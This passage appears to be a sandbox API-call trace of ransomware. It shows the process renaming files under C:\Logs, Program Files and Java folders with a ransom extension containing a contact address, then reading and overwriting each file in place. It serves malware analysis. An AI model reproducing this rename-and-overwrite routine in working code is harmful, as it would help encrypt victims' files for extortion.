lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xff377a24, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3f1a, dwReserved0=0xb747496, dwReserved1=0x6f4a8b0, cFileName="DHtmlHeader.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DHTMLH~1.FIR")) returned 0x6d5240 [0096.088] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0096.088] Sleep (dwMilliseconds=0x1) [0098.059] Sleep (dwMilliseconds=0x1) [0099.606] Sleep (dwMilliseconds=0x1) [0100.934] Sleep (dwMilliseconds=0x1) [0101.616] Sleep (dwMilliseconds=0x1) [0102.216] Sleep (dwMilliseconds=0x1) [0102.431] Sleep (dwMilliseconds=0x1) [0102.616] Sleep (dwMilliseconds=0x1) [0102.886] Sleep (dwMilliseconds=0x1) [0102.999] Sleep (dwMilliseconds=0x1) [0103.185] Sleep (dwMilliseconds=0x1) [0103.304] Sleep (dwMilliseconds=0x1) [0103.549] Sleep (dwMilliseconds=0x1) [0104.660] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", len=0x28 | out: pbstr=0x45bff7c*="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 1 [0104.660] GetProcessHeap () returned 0x630000 [0104.660] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6118, Size=0x2c) returned 0x6ed6380 [0104.660] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0104.683] CloseHandle (hObject=0x6f4) returned 1 [0104.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.684] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.684] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIE81F~1.FIR")) returned 0x6d53c0 [0104.685] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0104.685] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0104.685] GetProcessHeap () returned 0x630000 [0104.685] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x710b248 [0104.686] GetProcessHeap () returned 0x630000 [0104.686] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7116678 [0104.686] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.686] ReadFile (in: hFile=0x6f4, lpBuffer=0x710b248, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x710b248*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0111.084] GetProcessHeap () returned 0x630000 [0111.084] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0111.084] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.084] WriteFile (in: hFile=0x6f4, lpBuffer=0x7116678*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7116678*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0111.085] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.085] WriteFile (in: hFile=0x6f4, lpBuffer=0x7121a77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7121a77*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0111.085] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.085] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0111.085] CloseHandle (hObject=0x6f4) returned 1 [0112.694] GetProcessHeap () returned 0x630000 [0112.694] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7116678 | out: hHeap=0x630000) returned 1 [0112.697] GetProcessHeap () returned 0x630000 [0112.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x710b248 | out: hHeap=0x630000) returned 1 [0112.697] GetProcessHeap () returned 0x630000 [0112.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0112.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.698] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x91f6bca, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xb747496, dwReserved1=0x710b240, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIE81F~1.FIR")) returned 0x6d5040 [0112.698] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0112.698] Sleep (dwMilliseconds=0x1) [0113.708] Sleep (dwMilliseconds=0x1) [0114.302] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml", len=0x3d | out: pbstr=0x45bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 1 [0114.302] GetProcessHeap () returned 0x630000 [0114.302] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eec30, Size=0x4c) returned 0x6eef48 [0114.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.303] Sleep (dwMilliseconds=0x1) [0114.310] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", len=0x56 | out: pbstr=0x45bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 1 [0114.310] GetProcessHeap () returned 0x630000 [0114.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9198, Size=0x1c) returned 0x6e8fe0 [0114.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.310] Sleep (dwMilliseconds=0x1) [0114.325] Sleep (dwMilliseconds=0x1) [0114.403] Sleep (dwMilliseconds=0x1) [0114.421] Sleep (dwMilliseconds=0x1) [0114.439] Sleep (dwMilliseconds=0x1) [0114.514] Sleep (dwMilliseconds=0x1) [0114.553] Sleep (dwMilliseconds=0x1) [0114.562] Sleep (dwMilliseconds=0x1) [0114.579] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml", len=0x3d | out: pbstr=0x45bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 1 [0114.579] GetProcessHeap () returned 0x630000 [0114.579] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x1c) returned 0x6e9008 [0114.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.587] Sleep (dwMilliseconds=0x1) [0114.602] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe", len=0x3a | out: pbstr=0x45bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 1 [0114.603] GetProcessHeap () returned 0x630000 [0114.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699768, Size=0x20) returned 0x6e90d0 [0114.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.609] Sleep (dwMilliseconds=0x1) [0114.625] Sleep (dwMilliseconds=0x1) [0114.637] Sleep (dwMilliseconds=0x1) [0114.653] Sleep (dwMilliseconds=0x1) [0114.668] Sleep (dwMilliseconds=0x1) [0114.686] Sleep (dwMilliseconds=0x1) [0114.700] Sleep (dwMilliseconds=0x1) [0114.716] Sleep (dwMilliseconds=0x1) [0114.731] Sleep (dwMilliseconds=0x1) [0114.747] Sleep (dwMilliseconds=0x1) [0114.762] Sleep (dwMilliseconds=0x1) [0114.778] Sleep (dwMilliseconds=0x1) [0114.794] Sleep (dwMilliseconds=0x1) [0114.880] Sleep (dwMilliseconds=0x1) [0114.887] Sleep (dwMilliseconds=0x1) [0114.903] Sleep (dwMilliseconds=0x1) [0114.919] Sleep (dwMilliseconds=0x1) [0114.939] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", len=0x4c | out: pbstr=0x45bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 1 [0114.939] GetProcessHeap () returned 0x630000 [0114.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b13b8 | out: hHeap=0x630000) returned 1 [0114.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.945] Sleep (dwMilliseconds=0x1) [0114.953] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms", len=0x68 | out: pbstr=0x45bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 1 [0114.953] GetProcessHeap () returned 0x630000 [0114.953] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12f8, Size=0xc) returned 0x6b12b0 [0114.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0114.959] CloseHandle (hObject=0x6b8) returned 1 [0114.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0114.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0114.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x3, dwReserved1=0x800001, cFileName="pkeyconfig-office.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PKEYCO~1.FIR")) returned 0x6d5240 [0114.962] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0114.962] GetProcessHeap () returned 0x630000 [0114.962] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718938 [0114.963] GetProcessHeap () returned 0x630000 [0114.963] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0114.964] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.964] ReadFile (in: hFile=0x6b8, lpBuffer=0x718938, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0117.658] GetProcessHeap () returned 0x630000 [0117.658] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0117.658] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.658] WriteFile (in: hFile=0x6b8, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0117.659] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.659] WriteFile (in: hFile=0x6b8, lpBuffer=0x72de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de917*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0117.661] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.661] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0117.661] CloseHandle (hObject=0x6b8) returned 1 [0117.676] GetProcessHeap () returned 0x630000 [0117.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0117.676] GetProcessHeap () returned 0x630000 [0117.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0117.676] GetProcessHeap () returned 0x630000 [0117.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0117.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc16e2d0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x902df, dwReserved0=0xb747496, dwReserved1=0x718930, cFileName="pkeyconfig-office.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PKEYCO~1.FIR")) returned 0x6d5200 [0117.676] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0117.677] Sleep (dwMilliseconds=0x1) [0118.717] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", len=0x40 | out: pbstr=0x45bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 1 [0118.717] GetProcessHeap () returned 0x630000 [0118.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x70cee8, Size=0xb0) returned 0x72d15f8 [0118.717] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0118.724] CloseHandle (hObject=0x694) returned 1 [0118.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0x20, dwReserved1=0x1, cFileName="fontconfig.properties.src.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FONTCO~1.FIR")) returned 0x6d52c0 [0118.764] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0118.765] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0118.765] GetProcessHeap () returned 0x630000 [0118.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2961) returned 0x73005d8 [0118.765] GetProcessHeap () returned 0x630000 [0118.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2961) returned 0x6effdf0 [0118.766] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.766] ReadFile (in: hFile=0x694, lpBuffer=0x73005d8, nNumberOfBytesToRead=0x2940, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesRead=0x45bff0c*=0x2940, lpOverlapped=0x0) returned 1 [0120.025] GetProcessHeap () returned 0x630000 [0120.025] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0120.025] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.025] WriteFile (in: hFile=0x694, lpBuffer=0x6effdf0*, nNumberOfBytesToWrite=0x2940, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6effdf0*, lpNumberOfBytesWritten=0x45bff0c*=0x2940, lpOverlapped=0x0) returned 1 [0120.030] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.030] WriteFile (in: hFile=0x694, lpBuffer=0x6f0272f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0272f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.030] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.030] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.031] CloseHandle (hObject=0x694) returned 1 [0120.032] GetProcessHeap () returned 0x630000 [0120.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6effdf0 | out: hHeap=0x630000) returned 1 [0120.032] GetProcessHeap () returned 0x630000 [0120.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0120.032] GetProcessHeap () returned 0x630000 [0120.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0120.464] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd7ee719, 